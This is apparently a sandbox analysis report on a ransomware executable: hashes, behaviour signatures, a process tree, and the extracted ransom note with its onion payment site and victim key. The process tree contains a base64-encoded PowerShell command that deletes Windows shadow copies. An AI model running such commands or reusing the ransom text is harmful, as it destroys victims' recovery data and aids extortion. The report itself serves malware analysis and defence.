Overview

overview

10

Static

static

10

3f62801a5d...6d.exe

windows7_x64

10

3f62801a5d...6d.exe

windows10_x64

10

Analysis

  • max time kernel
    175s
  • max time network
    169s
  • platform
    windows10_x64
  • resource
    win10-en-20211208
  • submitted
    24-01-2022 02:13

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General

  • Target

    3f62801a5d4efd7d14d2358665f3999d23acd4298849a80b9831c61e99008c6d.exe

  • Size

    164KB

  • MD5

    0c31b58d5af03e17c87cc0a74ad69c1e

  • SHA1

    8d5da365d44a34108eba309b7ae86e665b9ec647

  • SHA256

    3f62801a5d4efd7d14d2358665f3999d23acd4298849a80b9831c61e99008c6d

  • SHA512

    398b914e3bba76e81c3c33440917edaec4ec4a5c34d3f97835fc9af68220d70ce5a3137190e1fa4d3699170cdddf34fd2625d99450d51e7fde8a01552449aed4

Score
10/10
ryukransomware

Malware Config

Extracted

Path

C:\d47b09h-readme.txt

Family

ryuk

Ransom Note
---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension d47b09h. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. I suggest you read about us on the Internet, we are known as "Sodinokibi Ransomware". For example, this article: https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread Pay attention to that: "How Much Data Is Decrypted with a Ransomware Decryptor? In Q2 2019, victims who paid for a decryptor recovered 92% of their encrypted data. This statistic varied dramatically depending on the ransomware type. For example, Ryuk ransomware has a relatively low data recovery rate, at ~ 87%, while Sodinokibi was close to 100%. " Now you have a guarantee that your files will be returned 100 %. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/65B8CFFA2D1E3F21 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/65B8CFFA2D1E3F21 Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: wa0TOXson833ck2YeP12D80fZi71BkJbHvpPlz0QS90tb3psywnqf+MKPd9ksSF6 C1BunfZ0xbWPqj3FSu9/peFKgoHrWIacZ0AZ+l9nzJMjh5tYmMZ/zlzHuZOflwKW GwP4imzOGxViLgtjtSulEBE2ZOmcQFupKaohmzsyHgLBoPUJk7raNoRpPgwDnPGh 3X40XXfwF7C0cLehNDfK0299Wb9CqlgVSfdndHHAmg/dQ2nDJPsaDiVeZrzhWEXJ Ak4n20ktlPqOlp/9DQCL3p2tvnEsWfaxOmfDzoT0x83KIZ5bVevHjrKvRFA1XlDz 5KwSycydLiTxJOty7g5OT5rGNC1rLiTujcfylgxCXt9Q4GNnn9XB+VeRgx/i9VJw r/vt0hBuxLpyzesiS7hRIYux3uPmenuo6R6q5fvFcM1mQk19anIiNiF2yninddJm 94eIa+Jg/u2cm61225/lqVP/OkrJ4HYqtbOZVuRD3UkvddIR8nGmkQRvbrmyzPAj i4lLgDA492lEg/TmFiZtTJfDbpj4X9znM5P36YasmYBEkuMDLjZV2ykTljxt5Rk8 PWQqS/RizSyJ0jt3EwvjfD9EY2+enUY56jqSGXsjIJzXpW0rTCHAqQrCq6FN8Vii DpExhUUCLhPpoqcE6hkg8m7IXs7kyGo+S/BkDXaNIhzc1y2AUC3hQbu+300MRAo8 weS6srgPNidEYCULGasiHJBSZDV+/eGft2D5g666MnSZttuWU/POoPjL2Kiu/0ke vVUSnxCIaUwU1JVQaYzBH963qhlySlK1Lh53CQ5BLZnK5H7YSvpkhZTiXSBPL9Mf zm9xNAwAmEteVPDzDO5Dxtbi7bXIvS8+HN/ICdVQLHq5TDeoynU7gUYyqYld1CTr LTv1CtZsjxClUqjwKaJyMyQMa7uCg3K440tQ1MMZ7/CurQHOhtFxhzZYFXO3uqmB 2KKrnl5rGed2zP1lOsaEwg5bPVpCc6oLIHUOOvKVOLW+b0/+7SgOuuQKKozFSHUn Z9lT5B/sBGLazPoZrQ6JlOecpqNhYUyRxEzV79sBimgshw/Lz2i4bBsWnZOoe754 QAKTUK/zq20oJ+3anYhm+HRUhLpAJ+bW/htUPvJmQsU2hFpFs6qAEK05vnOdUA== Extension name: d47b09h ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!
URLs

https://www.coveware.com/blog/2019/7/15/ransomware-amounts-rise-3x-in-q2-as-ryuk-amp-sodinokibi-spread

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/65B8CFFA2D1E3F21

http://decryptor.top/65B8CFFA2D1E3F21

Signatures

  • Ryuk

    Ransomware distributed via existing botnets, often Trickbot or Emotet.

    ransomwareryuk
  • Modifies extensions of user files 6 IoCs

    Ransomware generally changes the extension on encrypted files.

    ransomware
  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Drops file in Program Files directory 37 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\3f62801a5d4efd7d14d2358665f3999d23acd4298849a80b9831c61e99008c6d.exe
    "C:\Users\Admin\AppData\Local\Temp\3f62801a5d4efd7d14d2358665f3999d23acd4298849a80b9831c61e99008c6d.exe"
    1⤵
    • Modifies extensions of user files
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:848
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1216
  • C:\Windows\system32\wbem\unsecapp.exe
    C:\Windows\system32\wbem\unsecapp.exe -Embedding
    1⤵
      PID:416
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2964

    Network

    MITRE ATT&CK Enterprise v6

    Replay Monitor

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    Downloads

    • memory/1216-120-0x00000247A0960000-0x00000247A0982000-memory.dmp

      Filesize

      136KB

      Download

    • memory/1216-124-0x00000247A1450000-0x00000247A14C6000-memory.dmp

      Filesize

      472KB

      Download

    • memory/1216-131-0x0000024787EA0000-0x000002479FFD0000-memory.dmp

      Filesize

      385.2MB

      Download

    • memory/1216-132-0x0000024787EA0000-0x000002479FFD0000-memory.dmp

      Filesize

      385.2MB

      Download